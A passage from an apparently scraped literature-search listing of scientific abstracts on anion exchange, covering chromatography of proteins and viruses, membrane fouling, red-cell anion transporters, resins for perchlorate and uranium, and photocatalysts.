and DEAE-POROS, were used. The application of gigaporous media with high ligand density led to significantly increased irreversible disassembling of HB-VLPs and consequently low antigen activity recovery during IEC process. To elucidate the thermodynamic mechanism of the effect of ligand density on the adsorption and conformational change of VLPs, a thermodynamic model was proposed. With this model, one can obtain the intrinsic molar enthalpy changes related to the binding of VLPs and the accompanying conformational change on the liquid-solid interface during its adsorption. This model assumes that, when intact HB-VLPs interact with the IEC media, the total adsorbed proteins contain two states, the intact formation and the disassembled formation; accordingly, the apparent adsorption enthalpy, ΔappH, which can be directly measured from ITC experiments, presents the sum of three terms: (1) the intrinsic molar enthalpy change associated to the binding of intact HB-VLPs (ΔbindHintact), (2) the intrinsic molar enthalpy change associated to the binding of HB-VLPs disassembled formation (ΔbindHdis), and (3) the enthalpy change accompanying the disassembling of HB-VLPs (ΔconfHdis). The intrinsic binding of intact HB-VLPs and the disassembled HB-VLPs to both kinds of gigaporous media (each of which has three different ligand densities), were all observed to be entropically driven as indicated by positive values of 6. Effect of magnesium/calcium ratios in solutions treated by electrodialysis: morphological characterization and identification of anion-exchange membrane fouling. PubMed Casademont, Christophe; Pourcelly, Gérald; Bazinet, Laurent 2008-06-01 The present study aimed the characterization of the fouling formed on anion-exchange membrane during electrodialysis treatment of model salt solutions at different Mg/Ca ratio (0, 1/20, 1/10, 1/5 and 2/5). The membrane fouling was characterized by membrane parameters (membrane thickness and electrical conductivity) and identified by membrane surface analysis (elemental analysis and X-ray diffraction). The mineral deposit was identified as Ca(OH)2 when no magnesium was present in the model salt. As soon as magnesium was present in the model salt solution for neutral pH((concentrate)) conditions a mix between CaCO3 and Ca(OH)2 was formed. This study is the first one to report the influence of magnesium in solution on the formation of CaCO3 fouling at the interface of anion-exchange membrane during electrodialysis. 7. Mechanism for binding site diversity on ankyrin. Comparison of binding sites on ankyrin for neurofascin and the Cl-/HCO3- anion exchanger. PubMed Michaely, P; Bennett, V 1995-12-29 Ankyrins are a family of spectrin-binding proteins that associate with at least seven distinct membrane proteins, including ion transporters and cell adhesion molecules. The membrane-binding domain of ankyrin is comprised of a tandem array of 24 ANK repeats organized into four 6-repeat folding domains. Tandem arrays of ANK repeats have been proposed to mediate protein interactions in a variety of proteins including factors involved in the regulation of transcription and the cell cycle. This report provides several new insights into the versatility of ANK repeats of ankyrin in protein recognition, using neurofascin and the Cl-/HCO3- anion exchanger as model ligands and ankyrinR as the prototypic ankyrin. Different combinations of ANK repeat domains from this ankyrin form two distinct, high affinity binding sites for neurofascin. One site requires both repeat domains 3 and 4. The other site involves both repeat domains 2 and 3, although domain 2 has significant activity alone. The sites appear to be independent with Kd values of 3 and 14 nM, respectively. Both the Cl-/HCO3- anion exchanger and neurofascin can interact simultaneously with repeat domains 3 and 4, because neurofascin is unable to displace binding of the anion exchanger cytoplasmic domain to domains 3 and 4, despite having a 3-5-fold higher affinity. These results demonstrate two levels of diversity in the binding sites on ankyrin: one resulting from different combinations of ANK repeat domains and another from different determinants within the same combination of repeat domains. One consequence of this diversity is that ankyrin can accommodate two neurofascin molecules as well as the anion exchanger through interactions mediated by ANK repeats. The ability of ankyrin to simultaneously associate with multiple types of membrane proteins is an unanticipated finding with implications for the assembly of integral membrane proteins into specialized regions of the plasma membrane. 8. Anion-exchange high-performance liquid chromatography with post-column detection for the analysis of phytic acid and other inositol phosphates NASA Technical Reports Server (NTRS) Rounds, M. A.; Nielsen, S. S.; Mitchell, C. A. (Principal Investigator) 1993-01-01 The use of gradient anion-exchange HPLC, with a simple post-column detection system, is described for the separation of myo-inositol phosphates, including "phytic acid" (myo-inositol hexaphosphate). Hexa-, penta-, tetra-, tri- and diphosphate members of this homologous series are clearly resolved within 30 min. This method should facilitate analysis and quantitation of "phytic acid" and other inositol phosphates in plant, food, and soil samples. 9. Anion-exchange high-performance liquid chromatography with post-column detection for the analysis of phytic acid and other inositol phosphates. PubMed Rounds, M A; Nielsen, S S 1993-10-29 The use of gradient anion-exchange HPLC, with a simple post-column detection system, is described for the separation of myo-inositol phosphates, including "phytic acid" (myo-inositol hexaphosphate). Hexa-, penta-, tetra-, tri- and diphosphate members of this homologous series are clearly resolved within 30 min. This method should facilitate analysis and quantitation of "phytic acid" and other inositol phosphates in plant, food, and soil samples. 10. Experimental and theoretical study of anion-exchange preparative chromatography for neptunium: the first application to thorium(IV) and its equilibrium and kinetics. PubMed Yamamura, Tomoo; Miyakoshi, Takeshi; Shiokawa, Yoshinobu; Mitsugashira, Toshiaki 2007-10-26 In order to study equilibrium and kinetic parameters in anion-exchange chromatography for preparatory purpose, a quantitative model for nonlinear anion-exchange chromatography in porous media was constructed, by paying special attention to interstitial length along void structure (cm) distinguished from apparent length (cm*). Langmuir-type adsorption isotherm for thorium(IV), as a natural substitution for neptunium(IV), in 6 mol dm(-3) nitric acid to anion-exchanger MSA-1 (200-400 mesh) was investigated in batch-wise and chromatographic experiments. The equilibrium parameters determined by batch-wise experiments determined as k=2.4x10(2) mol(-1) dm3 s(-1) and s0=0.5 mol dm(-3) agrees very well with the values of k=222 mol(-1) dm3 s(-1) and s0=0.5 mol dm(-3) derived from fitting by the numerical calculation. Kinetic parameters of ks and D affect band profile similarly, thereby maximum value of each parameter was evaluated as ks=1.3 mol(-1) dm3 s(-1) and D=9x10(-4) cm2 s(-1) by the numerical calculations. 11. Strong anion-exchange fast performance liquid chromatography as a versatile tool for preparation and purification of RNA produced by in vitro transcription. PubMed Koubek, Jiri; Lin, Ku Feng; Chen, Yet Ran; Cheng, Richard Ping; Huang, Joseph Jen Tse 2013-10-01 Here we demonstrate the use of strong anion-exchange fast performance liquid chromatography (FPLC) as a simple, fast, and robust method for RNA production by in vitro transcription. With this technique, we have purified different transcription templates from unreacted reagents in large quantities. The same buffer system could be used to readily remove nuclease contamination from the overexpressed pyrophosphatase, the important reagent for in vitro transcription. In addition, the method can be used to monitor in vitro transcription reactions to enable facile optimization of reaction conditions, and we have compared the separation performance between strong and weak anion-exchange FPLC for various transcribed RNAs, including the Diels-Alder ribozyme, the hammerhead ribozyme tRNA, and 4.5S RNA. The functionality of the purified tRNA(Cys) has been confirmed by the aminoacylation assay. Only the purification by strong anion-exchange FPLC has led to the enrichment of the functional tRNA from run-off transcripts as revealed by both enzymatic and electrophoretic analysis. 12. Use of a new tandem cation/anion exchange system with clinical-scale generators provides high specific volume solutions of technetium-99m and rhenium-188 SciTech Connect Knapp, F.R. Jr.; Beets, A.L.; Mirzadeh, S.; Guhlke, S. \| 1998-03-01 In this paper the authors describe the first application of a simple and inexpensive post elution tandem cation-anion exchange column system which is based on generator elution with salts of weak acids such as ammonium acetate instead of saline solution to provide very high specific volume solutions of technetium-99m and rhenium-188 from clinical scale molybdenum-99/technetium-99m generator prepared from low specific activity (n,y) molybdenum-99, and tungsten-188/rhenium-188 generators, respectively. Initial passage of the bolus through a strong cation exchange cartridge converts the ammonium acetate to acetic acid which is essentially not ionized at the acidic pH, allowing specific subsequent amine type (QMA SepPak{trademark}) anion exchange cartridge column trapping of the microscopic levels of the pertechnetate or perrhenate. Subsequent elution of the anion cartridge with a small volume (< 1 mL) of saline then provides high specific volume solutions of technetium-99m by concentration of the high eluant volumes obtained by elution of clinical-scale (1 Ci) generators. This new approach also works very effectively to obtain high specific volume solutions of rhenium-188 (> 500 mCi/mL) from the alumina-based tungsten-188/rhenium-188 generator. 13. The separation of platinum, palladium and gold from silicate rocks by the anion exchange separation of chloro complexes after a sodium peroxide fusion: an investigation of low recoveries. PubMed Enzweiler, J; Potts, P J 1995-10-01 A series of experiments was undertaken to measure the recovery efficiency of platinum, palladium and gold from silicate rocks using a sodium peroxide fusion followed by anion exchange separation of the analytes as chloro complexes. Results obtained by graphite furnace atomic absorption spectrometric analysis of standard solutions prepared in dilute HCl or HCl-acidified sodium peroxide solution showed that recoveries were near quantitative. However, when standard solutions were added to an alkaline sodium peroxide solution, which was then acidified, low results were obtained for platinum and gold (46% and 76% respectively). Low and variable results were also obtained when standard solutions were added to a peridotite sample that had been dissolved by the state procedure, and in the analysis of the South African Bureau of Standards certified reference material, SARM 7. Various experiments were undertaken to investigate these low recoveries, but the reason proposed here is the formation of hydroxychloro compounds in alkaline solution which are not, on acidification with HCl, converted quantitatively to the chloro complex necessary for quantitative anion exchange separation. It is concluded that a sodium peroxide fusion followed by an anion-exchange separation does not appear to form the basis of a successful technique for the determination of platinum, palladium and gold in silicate rocks. 14. Prefractionation of intact proteins by reversed-phase and anion-exchange chromatography for the differential proteomic analysis of Saccharomyces cerevisiae. PubMed Stobaugh, Jordan T; Fague, Kaitlin M; Jorgenson, James W 2013-02-01 The need for multidimensional separations for bottom-up proteomic analyses has been well demonstrated by many over the past decade. The vast majority of reported approaches has focused primarily on improving the separation once the sample has already been digested. The work presented in this study shows an improvement in multidimensional approaches by prefractionation of intact proteins prior to digestion and separation of the peptides. Two modes of intact protein separation were compared, anion-exchange and reversed-phase, to assess the utility of each mode for the purpose of fractionation. Each of the samples was then enzymatically digested and analyzed by RP-UPLC-MS(E). To assess the validity of each approach, baker's yeast (Saccharomyces cerevisiae) was grown on two different carbon sources, glycerol and dextrose. More proteins were identified by the reversed-phase prefractionation approach (546) than were found by the anion-exchange method (262). As a result, there was much greater coverage of the metabolic pathways of interest for the reversed-phase method than for the anion-exchange method. 15. Simulated diabetic ketoacidosis therapy in vitro elicits brain cell swelling via sodium-hydrogen exchange and anion transport. PubMed Rose, Keeley L; Watson, Andrew J; Drysdale, Thomas A; Cepinskas, Gediminas; Chan, Melissa; Rupar, C Anthony; Fraser, Douglas D 2015-08-15 A common complication of type 1 diabetes mellitus is diabetic ketoacidosis (DKA), a state of severe insulin deficiency. A potentially harmful consequence of DKA therapy in children is cerebral edema (DKA-CE); however, the mechanisms of therapy-induced DKA-CE are unknown. Our aims were to identify the DKA treatment factors and membrane mechanisms that might contribute specifically to brain cell swelling. To this end, DKA was induced in juvenile mice with the administration of the pancreatic toxins streptozocin and alloxan. Brain slices were prepared and exposed to DKA-like conditions in vitro. Cell volume changes were imaged in response to simulated DKA therapy. Our experiments showed that cell swelling was elicited with isolated DKA treatment components, including alkalinization, insulin/alkalinization, and rapid reductions in osmolality. Methyl-isobutyl-amiloride, a nonselective inhibitor of sodium-hydrogen exchangers (NHEs), reduced cell swelling in brain slices elicited with simulated DKA therapy (in vitro) and decreased brain water content in juvenile DKA mice administered insulin and rehydration therapy (in vivo). Specific pharmacological inhibition of the NHE1 isoform with cariporide also inhibited cell swelling, but only in the presence of the anion transport (AT) inhibitor 4,4'-diisothiocyanatostilbene-2,2'-disulphonic acid. DKA did not alter brain NHE1 isoform expression, suggesting that the cell swelling attributed to the NHE1 was activity dependent. In conclusion, our data raise the possibility that brain cell swelling can be elicited by DKA treatment factors and that it is mediated by NHEs and/or coactivation of NHE1 and AT. 16. Polyethylenimine modified poly(ethylene terephthalate) capillary channeled-polymer fibers for anion exchange chromatography of proteins. PubMed Jiang, Liuwei; Jin, Yi; Marcus, R Kenneth 2015-09-04 Native poly(ethylene terephthalate) (PET) capillary-channeled polymer (C-CP) fibers have been previously studied as stationary phases for reversed phase and affinity protein separations. In this study, surface modified PET C-CP fibers were evaluated for the anion exchange separation of proteins. The native PET C-CP fibers were aminated using polyethylenimine (PEI) followed by a 1,4-butanediol diglycidyl ether (BUDGE) cross-linking step. Subsequent PEI/BUDGE treatments can be employed to further develop the polyamine layer on the fiber surfaces. The PEI densities of the modified fibers were quantified through the ninhydrin reaction, yielding values of 0.43-0.89μmolg(-1). The surface modification impact on column permeability was found to be 0.66×10(-11) to 1.33×10(-11)m(2), depending on the modification time and conditions. The dynamic binding capacities of the modified fiber media were determined to be 1.99-8.54mgmL(-1) bed volume, at linear velocities of 88-438cmmin(-1) using bovine serum albumin as the model protein. It was found that increasing the mobile phase linear velocity (up to 438cmmin(-1)) had no effect on the separation quality for a synthetic protein mixture, reflecting the lack of van Deemter C-term effects for the C-CP fiber phase. The low-cost, easy modification method and the capability of fast protein separation illustrate great potential in the use of PEI/BUDGE-modified PET C-CP fibers for high-throughput protein separation and downstream processing. 17. Study on adsorption properties of QCS/PS-G8-2-8 anion exchange membrane for Rhodamine B Zhang, Yang; Wang, Jilin; Wang, Lulu; Feng, Ruijiang; Zhang, Fan 2015-06-01 A series of novel anion exchange composite membrane (QCS/PS-G8-2-8) were synthesized based on the quaternized chitosan (QCS, DQ = 89.20 (±3.50)%) blended with block polymer of polystyrene (PS) and G8-2-8 (maleic acid diethyl brace base pairs [octyl dimethyl chloride/ammonium bromide]). Then the QCS was cross-linked by glutaraldehyde (GA). The parameters including adsorption time (t), pH, and initial concentration of Rhodamine B (C0), temperature (T), the mass fraction of G8-2-8 and GA (WGA) on the adsorption were investigated to determine the optimum condition for the removal of RB. The kinetic and thermodynamic properties of the adsorption process were also discussed. The optimum adsorption condition was that the adsorption time was 100 min, pH was 4, the initial concentration of RB was 100 mg L-1, the mass fraction of G8-2-8 was 5.0 wt%, the mass fraction of GA was 2.0 wt%, the temperature was 40 °C. Thus, RB optimum adsorption capacity (q) of the composite membrane QCS/PS-G8-2-8 (5.0%) (G8-2-8 mass content (wt.%) was 5.0%) was 17.04 mg g-1. The adsorption isotherm of the RB on the composite membrane can be well fitted with the Temkin equation. The adsorption kinetics can be well described by the pseudo-second-order kinetics model. The values of ΔG, ΔH and ΔS indicated that the adsorption of RB onto QCS/PS-G8-2-8 was spontaneous and exothermic. 18. Chloride transport in red blood cells of lamprey Lampetra fluviatilis: evidence for a novel anion-exchange system. PubMed Bogdanova AYu; Sherstobitov, A O; Gusev, G P 1998-03-01 The existence of a furosemide-sensitive Cl- transport pathway activated by external Ca2+ and Mg2+ has been demonstrated previously in studies of Cl- influx across the lamprey erythrocyte membrane. The aim of the present study was to characterize further specific Cl- transport pathways, especially those involved in Cl- efflux, in the red blood cell membrane of Lampetra fluviatilis. Cl- efflux was inhibited by 0.05 mmol l-1 dihydroindenyloxyalkanoic acid (DIOA) (81%), 1 mmol l-1 furosemide (76%) and 0.1 mmol l-1 niflumic acid (54%). Bumetanide (100 mumol l-1) and DIDS (100 mumol l-1) had no effect effect on Cl- efflux. Substitution of external Cl- by gluconate, but not by NO3-, led to a gradual decline of Cl- efflux. In addition, the removal of external Ca2+ resulted in a significant reduction in the rate of Cl- efflux. Membrane depolarization caused by increasing external K+ concentration or by inhibiting K+ channels with 1 mmol l-1 Ba2+ did not affect Cl- efflux. The furosemide-sensitive component of Cl- influx was a saturable function of external [Cl-] with an apparent K(m) of approximately 92 mmol l-1 and Vmax of approximately 17.8 mmol l-1 cells-1 h-1. Furosemide did not affect intracellular Cl- concentration (57.6 +/- 5.2 mmol l-1 cell water), measured using an ion-selective Cl- electrode, showing that a furosemide-sensitive pathway is not involved in net Cl- movement. A gradual fall (from 28.1 +/- 1.4 to 15.0 +/- 1.3 mmol l-1 cells-1 h-1) in unidirectional Cl- influx with time was observed within 3 h of cell preincubation in the standard physiological medium. These data provide evidence for the existence for an electroneutral furosemide-sensitive anion-exchange pathway in the lamprey erythrocyte membrane that accepts chloride and nitrate, but not bicarbonate or bromide. 19. Assessing Gibberellins Oxidase Activity by Anion Exchange/Hydrophobic Polymer Monolithic Capillary Liquid Chromatography-Mass Spectrometry PubMed Central Liu, Jiu-Feng; Wu, Yan; Feng, Yu-Qi; Yuan, Bi-Feng 2013-01-01 Bioactive gibberellins (GAs) play a key regulatory role in plant growth and development. In the biosynthesis of GAs, GA3-oxidase catalyzes the final step to produce bioactive GAs. Thus, the evaluation of GA3-oxidase activity is critical for elucidating the regulation mechanism of plant growth controlled by GAs. However, assessing catalytic activity of endogenous GA3-oxidase remains challenging. In the current study, we developed a capillary liquid chromatography – mass spectrometry (cLC-MS) method for the sensitive assay of in-vitro recombinant or endogenous GA3-oxidase by analyzing the catalytic substrates and products of GA3-oxidase (GA1, GA4, GA9, GA20). An anion exchange/hydrophobic poly([2-(methacryloyloxy)ethyl]trimethylammonium-co-divinylbenzene-co-ethylene glycol dimethacrylate)(META-co-DVB-co-EDMA) monolithic column was successfully prepared for the separation of all target GAs. The limits of detection (LODs, Signal/Noise = 3) of GAs were in the range of 0.62–0.90 fmol. We determined the kinetic parameters (Km) of recombinant GA3-oxidase in Escherichia coli (E. coli) cell lysates, which is consistent with previous reports. Furthermore, by using isotope labeled substrates, we successfully evaluated the activity of endogenous GA3-oxidase that converts GA9 to GA4 in four types of plant samples, which is, to the best of our knowledge, the first report for the quantification of the activity of endogenous GA3-oxidase in plant. Taken together, the method developed here provides a good solution for the evaluation of endogenous GA3-oxidase activity in plant, which may promote the in-depth study of the growth regulation mechanism governed by GAs in plant physiology. PMID:23922762 20. Sorption and desorption of perchlorate and U(VI) by strong-base anion-exchange resins. PubMed Gu, Baohua; Ku, Yee-Kyoung; Brown, Gilbert M 2005-02-01 This study investigated the sorption affinity and capacity of six strong-base anion-exchange (SBA) resins for both uranium [U(VI)] and perchlorate (ClO4-) in simulated groundwater containing varying concentrations of sulfate (SO4(2-)). Additionally, desorption of U(VI) from spent resins was studied to separate U(VI) from resins with sorbed ClO4- for waste segregation and minimization. Results indicate that all SBA resins investigated in this study strongly sorb U(VI). The gel-type polyacrylic resin (Purolite A850) showed the highest sorption affinity and capacityfor U(VI) butwasthe least effective in sorbing ClO4-. The presence of SO4(2-) had little impact on the sorption of U(VI) but significantly affected the sorption of ClO4-, particularly on monofunctional SBA resins. A dilute acid wash was found to be effective in desorbing U(VI) but ineffective in desorbing ClO4- from bifunctional resins (Purolite A530E and WBR109). A single wash removed approximately 75% of sorbed U(VI) but only approximately 0.1% of sorbed ClO4- from the bifunctional resins. On the other hand, only 21.4% of sorbed U(VI) but approximately 34% of sorbed ClO4- was desorbed from the Purolite A850 resin. This study concludes that bifunctional resins could be used effectively to treatwater contaminated with ClO4- and traces of U(VI), and dilute acid washes could minimize hazardous wastes by separating sorbed U(VI) from ClO4- prior to the regeneration of the spent resin loaded with ClO4-. 1. Mechanisms of transcriptional modulation of the human anion exchanger SLC26A3 gene expression by IFN-γ PubMed Central Saksena, Seema; Singla, Amika; Goyal, Sonia; Katyal, Shivani; Bansal, Nikhil; Gill, Ravinder K.; Alrefai, Waddah A.; Ramaswamy, Krishnamurthy; Dudeja, Pradeep K. 2010-01-01 Two members of the SLC26 gene family, SLC26A3 or DRA (downregulated in adenoma) and SLC26A6 (putative anion transporter 1, PAT1), are known to play a major role in apical Cl−/OH− (HCO3−) exchange process in the human intestine. We have previously shown the inhibitory effects of IFN-γ (30 ng/ml, 24 h) on both SLC26A3 and A6 expression and promoter activity. We also demonstrated that the effects of IFN-γ on SLC26A6 gene expression were mediated via IRF-1 transcription factor. However, the molecular mechanisms underlying the transcriptional modulation of SLC26A3 gene expression by IFN-γ in the intestine are not known. The present studies were, therefore, designed to elucidate the signaling mechanisms and transcription factor(s) involved in mediating the inhibitory effects of IFN-γ on DRA promoter (p-−1183/+114) activity. Deletion analysis indicated that the IFN-γ response element is located within the −1183 to −790 region, and sequence analysis of this region revealed the presence of potential γ-activated site (GAS), a binding site (−933/−925 bp) for signal transducer and activator of transcription factor 1 (STAT1). Mutations in the potential GAS element abrogated the inhibitory effects of IFN-γ. These studies provide evidence for the involvement of STAT1 in the inhibition of SLC26A3 gene expression by IFN-γ in the human intestine. PMID:19940027 2. Sodium citrate-assisted anion exchange strategy for construction of Bi{sub 2}O{sub 2}CO{sub 3}/BiOI photocatalysts SciTech Connect Song, Peng-Yuan; Xu, Ming; Zhang, Wei-De 2015-02-15 Highlights: • Heterostructured Bi{sub 2}O{sub 2}CO{sub 3}/BiOI microspheres were prepared via anion exchange. • Sodium citrate-assisted anion exchange for construction of composite photocatalysts. • Bi{sub 2}O{sub 2}CO{sub 3}/BiOI composites show high visible light photocatalytic activity. - Abstract: Bi{sub 2}O{sub 2}CO{sub 3}/BiOI heterojuncted photocatalysts were constructed through a facile partial anion exchange strategy starting from BiOI microspheres and urea with the assistance of sodium citrate. The content of Bi{sub 2}O{sub 2}CO{sub 3} in the catalysts was regulated by modulating the amount of urea as a precursor, which was decomposed to generate CO{sub 3}{sup 2−} in the hydrothermal process. Citrate anion plays a key role in controlling the morphology and composition of the products. The Bi{sub 2}O{sub 2}CO{sub 3}/BiOI catalysts display much higher photocatalytic activity than pure BiOI and Bi{sub 2}O{sub 2}CO{sub 3} towards the degradation of rhodamine B (RhB) and bisphenol A (BPA). The enhancement of photocatalytic activity of the heterojuncted catalysts is attributed to the formation of p–n junction between p-BiOI and n-Bi{sub 2}O{sub 2}CO{sub 3}, which is favorable for retarding the recombination of photoinduced electron-hole pairs. Moreover, the holes are demonstrated to be the main active species for the degradation of RhB and BPA. 3. Single vial sample preparation of markers of nerve agents by dispersive solid-phase extraction using magnetic strong anion exchange resins. PubMed Singh, Varoon; Chinthakindi, Sridhar; Purohit, Ajay Kumar; Pardasani, Deepak; Tak, Vijay; Dubey, Devendra Kumar 2015-05-22 A sample preparation method involving extraction, enrichment and derivatization of acidic degradation products of nerve agents was developed using magnetic strong anion exchange resins (MSAX). The method was performed in a single vial involving magnetic dispersive solid phase extraction (MDSPE). Analytes were derivatized with N,O-bis(trimethylsilyl)trifluoroacetamide (BSTFA) in the presence of resins. MSAX were custom synthesized using Fe3O4 nanoparticles as core, 4-vinylpyridine-co-divinylbenzene as polymer shell and quaternary pyridinium function as anion-exchanger. Hydroxide ions were the counter-anions of MSAX to effectively capture the acidic alkyl alkylphosphonic acids (AAPAs) and alkylphosphonic acids (APAs). Quantitative measurements of analytes were performed in the selected ion monitoring mode of GC-MS. Full scan mode of analysis was followed for identifications. Under the optimized conditions analytes were recovered in the range of 39.7-98.8% (n=3, relative standard deviations (RSD) from 0.3 to 6.5%). Limits of detection (LODs) were in the range of 0.1-1.1ngmL(-1); and the linear dynamic range was 5-1000ngmL(-1) with r(2) of 0.9977-0.9769. Applicability of the method was tested with rain-, tap-, muddy-water and Organization for Prohibition of Chemical Weapons (OPCW) Proficiency Test samples. 4. Synthesis of a novel layered double hydroxides [MgAl(4)(OH)(12)](Cl)(2)·2.4H(2)O and its anion-exchange properties. PubMed Chitrakar, Ramesh; Makita, Yoji; Sonoda, Akinari; Hirotsu, Takahiro 2011-01-30 A novel layered double hydroxide of Mg and Al with composition [Mg(0.96)Al(4.00)(OH)(12)]Cl(1.86)(CO(3))(0.03)·2.4H(2)O, designated as MgAl(4)-Cl, was synthesized by mixing crystalline gibbsite (γ-Al(OH)(3)) and solid MgCl(2)·6H(2)O with subsequent hydrothermal treatment at 160 °C for 72h. The MgAl(4)-Cl exhibited a crystalline material of a layered structure, as evidenced from X-ray diffraction. Anion uptake experiments with the MgAl(4)-Cl showed that Cl(-) in the interlayer space can be exchanged with anions such as Br(-), H(2)PO(4)(-), CO(3)(2-) or dodecyl sulfate (DS(-)) from aqueous solutions with preservation of the layered structure. Uptake of NO(3)(-), BrO(3)(-) or SO(4)(2-) on the MgAl(4)-Cl showed different behavior; these anions can be exchanged within 1h maintaining the layered structure, but a release of Mg(2+) cations from the sample was observed with increased reaction time, resulting in collapse of the layered structure and formation of the gibbsite phase, as determined from chemical analyses and X-ray diffraction. 5. Carbon nanotube supported PdAg nanoparticles for electrocatalytic oxidation of glycerol in anion exchange membrane fuel cells DOE PAGES Benipal, Neeva; Qi, Ji; Liu, Qi; ... 2017-03-10 Electro-oxidation of alcohol is the key reaction occurring at the anode of a direct alcohol fuel cell (DAFC), in which both reaction kinetics (rate) and selectivity (to deep oxidation products) need improvement to obtain higher power density and fuel utilization for a more efficient DAFC. We recently found that a PdAg bimetallic nanoparticle catalyst is more efficient than Pd for alcohol oxidation: Pd can facilitate deprotonation of alcohol in a base electrolyte, while Ag can promote intermediate aldehyde oxidation and cleavage of C-single bondC bond of C3 species to C2 species. Furthermore, a combination of the two active sites (Pdmore » and Ag) with two different functions, can simultaneously improve the reaction rates and deeper oxidation products of alcohols. In this continuing work, Pd, Ag mono, and bimetallic nanoparticles supported on carbon nanotubes (Ag/CNT, Pd/CNT, Pd1Ag1/CNT, and Pd1Ag3/CNT) were prepared using an aqueous-phase reduction method; they served as working catalysts for studying electrocatalytic oxidation of glycerol in an anion-exchange membrane-based direct glycerol fuel cell. Combined XRD, TEM, and HAADF-STEM analyses performed to fully characterize as-prepared catalysts suggested that they have small particle sizes: 2.0 nm for Pd/CNT, 2.3 nm for PdAg/CNT, 2.4 nm for PdAg3/CNT, and 13.9 nm for Ag/CNT. XPS further shows that alloying with Ag results in more metal state Pd presented on the surface, and this may be related to their higher direct glycerol fuel cell (DGFC) performances. Single DGFC performance and product analysis results show that PdAg bimetallic nanoparticles can not only improve the glycerol reaction rate so that higher power output can be achieved, but also facilitate deep oxidation of glycerol so that a higher faradaic efficiency and fuel utilization can be achieved along with optimal reaction conditions (increased base-to-fuel ratio). Half-cell electrocatalytic activity measurement and single fuel cell product analysis 6. Long-term performance of bicarbonate-form anion exchange: removal of dissolved organic matter and bromide from the St. Johns River, FL, USA. PubMed Walker, Krystal M; Boyer, Treavor H 2011-04-01 The goal of this research was to evaluate the long-term performance of magnetic ion exchange (MIEX) treatment using bicarbonate as the mobile counter ion (i.e., MIEX-HCO(3)) and sodium bicarbonate for regeneration. This work is important because there are many unknowns concerning the affinity and regeneration efficiency of bicarbonate-form anion exchange, whereas chloride-form anion exchange (i.e., MIEX-Cl resin) is well-studied. Raw water samples were collected approximately two times per month for one year from a single location on the St. Johns River (SJR), FL, USA. The SJR is characterized by high concentrations of dissolved organic carbon (DOC; 12-26 mg C/L) and bromide (550-1100 μg/L), and is being considered as an alternative drinking water supply. Jar tests were conducted using MIEX-HCO(3) resin, and MIEX-Cl resin was used as a baseline for comparison. The same batch of MIEX-HCO(3) and MIEX-Cl resin was used for the entire study, which was accomplished by regenerating the resins after each jar test in concentrated solutions of sodium bicarbonate and sodium chloride, respectively, and resulted in 21 regeneration cycles. Maximum removal efficiency was achieved with fresh MIEX-HCO(3) resin and virgin MIEX-Cl resin. Both forms of fresh/virgin MIEX resin also had the same affinity sequence with sulfate ≈ UV-absorbing substance > DOC > bromide. The removal efficiency of both forms of MIEX resin decreased as the number of regeneration cycles increased, with MIEX-HCO(3) resin showing 7-18% lower removals than MIEX-Cl resin after 21 regeneration cycles. The affinity sequence of regenerated MIEX-HCO(3) and MIEX-Cl resins differed from fresh resin with UV-absorbing substances > DOC > sulfate > bromide. Scanning electron microscopy and simulated MIEX-HCO(3) treatment under rapidly changing water quality were also used to improve the understanding of bicarbonate-form anion exchange. The major contribution of this research is a systematic study of the extended use of 7. An anionic zeolite-like metal-organic framework (AZMOF) with a Moravia network for organic dye absorption through cation-exchange. PubMed Shen, Yu; Fan, Cong-Cong; Wei, Yu-Zhen; Du, Jie; Zhu, Hai-Bin; Zhao, Yue 2016-07-05 An anionic zeolite-like metal-organic framework (AZMOF) with a twisted partially augmented the net, known as the "Moravia" net, [(CH3)2NH2]6[Sr13(O)3()8(OH)2(H2O)16]·xS (, where S represents non-coordinated solvent molecules, and is the abbreviation of benzo-(1,2;3,4;5,6)-tris-(thiophene-2'-carboxylic acid)), has been solvothermally synthesized and characterized, which possesses an anionic framework and nano-sized sodalite cage. Through cation-exchange, is capable of uptaking large organic cationic dyes including Rhodamine B (RB), Basic Red 2 (BR2), Crystal Violet (CV) and Methylene Blue (MB), amongst which the adsorption capability for RB (up to 545 mg g(-1)), and BR2 (up to 675 mg g(-1)) is the highest for reported absorbants to date. 8. Preparation and evaluation of 2-methylimidazolium-functionalized silica as a mixed-mode stationary phase for hydrophilic interaction and anion-exchange chromatography. PubMed Yang, Beibei; Liu, Houmei; Chen, Jia; Guan, Ming; Qiu, Hongdeng 2016-10-14 In this paper, a novel 2-methylimidazolium-functionalized silica stationary phase was prepared and further used for hydrophilic interaction and anion-exchange mixed-mode chromatography. The stationary phase was characterized by elemental analysis and Fourier transform infrared spectrometry. The chromatographic properties of this stationary phase were investigated by hydrophilic chromatography for the separation of nucleosides, nucleobases, water soluble vitamins, sulfonamides and saccharides, and ion chromatography for the separation of inorganic anions. The effect of acetonitrile content, salt concentration and pH values of the mobile phase on the retention of the stationary phases was also investigated. Compared with 1-methylimidazolium-functionalized silica stationary phase, this new stationary phase demonstrated similar or better separation selectivity. This new column demonstrated good performance and separation selectivity even better than a commercial hydrophilic column. Besides, 2-methylimidazolium-functionalized silica is possible to be modified again and used as a precursor to derivate some new stationary phases from the 3-position nitrogen. 9. Band 3, the human red cell chloride/bicarbonate anion exchanger (AE1, SLC4A1), in a structural context. PubMed Reithmeier, Reinhart A F; Casey, Joseph R; Kalli, Antreas C; Sansom, Mark S P; Alguel, Yilmaz; Iwata, So 2016-07-01 The crystal structure of the dimeric membrane domain of human Band 3(1), the red cell chloride/bicarbonate anion exchanger 1 (AE1, SLC4A1), provides a structural context for over four decades of studies into this historic and important membrane glycoprotein. In this review, we highlight the key structural features responsible for anion binding and translocation and have integrated the following topological markers within the Band 3 structure: blood group antigens, N-glycosylation site, protease cleavage sites, inhibitor and chemical labeling sites, and the results of scanning cysteine and N-glycosylation mutagenesis. Locations of mutations linked to human disease, including those responsible for Southeast Asian ovalocytosis, hereditary stomatocytosis, hereditary spherocytosis, and distal renal tubular acidosis, provide molecular insights into their effect on Band 3 folding. Finally, molecular dynamics simulations of phosphatidylcholine self-assembled around Band 3 provide a view of this membrane protein within a lipid bilayer. 10. Anion exchange membrane adsorbers for flow-through polishing steps: Part II. Virus, host cell protein, DNA clearance, and antibody recovery. PubMed Weaver, Justin; Husson, Scott M; Murphy, Louise; Wickramasinghe, S Ranil 2013-02-01 Anion exchange membrane adsorbers are used for contaminant removal in flow-through polishing steps in the manufacture of biopharmaceuticals. This contribution describes the clearance of minute virus of mice, DNA, and host cell proteins by three commercially available anion-exchange membranes: Sartobind Q, Mustang Q, and ChromaSorb. The Sartobind Q and 